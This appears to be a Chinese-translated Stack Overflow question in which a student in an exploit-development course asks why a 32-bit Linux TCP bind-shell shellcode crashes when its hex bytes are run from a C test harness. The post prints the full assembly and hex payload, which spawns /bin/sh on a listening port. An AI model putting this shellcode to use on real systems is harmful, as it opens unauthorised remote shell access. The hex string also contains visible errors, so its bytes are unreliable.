【发布时间】:2017-05-09 19:52:25
【问题描述】:
我正在为 32 位系统开发 tcp-bind shellcode。代码位于 32 位 ubuntu 上,主机操作系统是 64 位 Windows 10(他们甚至制作 32 位 Windows 10 吗?)
shellcode 是一个 tcp-bind。它作为自己的独立可执行文件执行良好,但是当代码转换为十六进制并放入 c 测试程序时,会出现分段错误。即使在使用时也会发生这种情况 gcc -m32 -fno-stack-protector -z execstack
这是反汇编的shellcode
global _start
section .text
_start:
xor edi, edi
; Socket Call
mov al, 0x66 ;SysSocket syscall
mov bl, 1 ; Socket call
push edi ; INADDR_ANY
push 1 ; SOCK_STREAM
push 2 ; AF_INET
mov ecx, esp ; long *args
int 0x80
;Bind
mov edx, eax ; reurn of Socket call is sockfd, place into edi
mov al, 0x66 ; SysSocket syscall
inc bl ; Bind call
push edi; INADDR_ANY
push word 0x3582; Port Number
push word 2 ; AF_INET
mov ecx, esp
push 16 ;addrlen
push ecx ;*sockaddr
push edx ;SockFD
mov ecx, esp
int 0x80
;Listen
mov al, 0x66
add bl, 2
push edi
push edx
mov ecx, esp
int 0x80
;Accept
mov al, 0x66
inc bl
push edi
push edi;
push edx
mov ecx, esp
int 0x80
;ready for dup2
xchg ebx, eax
xor ecx, ecx
mov cl, 2
loop:
mov al, 63
int 0x80
dec ecx
cmp ecx, edi
jge loop
; PUSH the first null dword
push edi
; PUSH //bin/sh (8 bytes)
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push edi
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
这是 C 代码:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xff\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2
\xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52
\x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe
\xc3\x57\\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80
\x49\x39\xf9\\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
任何帮助弄清楚我何时无法在 C 中执行以及如何修复将不胜感激。谢谢!
对于希望使用此代码的人,我不承担任何责任。
【问题讨论】:
-
Shellcode 非常不稳定,并且严格按照非常具体的架构和系统设置进行定制。询问为什么 shellcode 不可移植并没有多大意义。
-
变量
code的初始化中是否嵌入了空格? -
这甚至不是 shell 代码。 Shell 代码利用了一个漏洞。您刚刚将针对不同操作系统设计的机器代码放入一个数组并调用它。
-
尝试使
code成为const变量,这通常是DEP。 -
代码是在 32 位 linux 系统上编写的,旨在在 32 位 linux 操作系统上执行。我目前正在学习 securitytube-training.com 的 SLAE32 课程,这是其中一项作业。它可以自行执行。问题是在它所在的易受攻击的 c 程序中作为机器代码执行。Ross,c 程序中存在允许此代码在受害系统上执行的漏洞。这个示例 c 程序是训练中使用的那种。它有一个已知的漏洞,并且之前已被成功利用。我不知道为什么我的代码不能在 c 中正确执行
标签: c assembly tcp x86 shellcode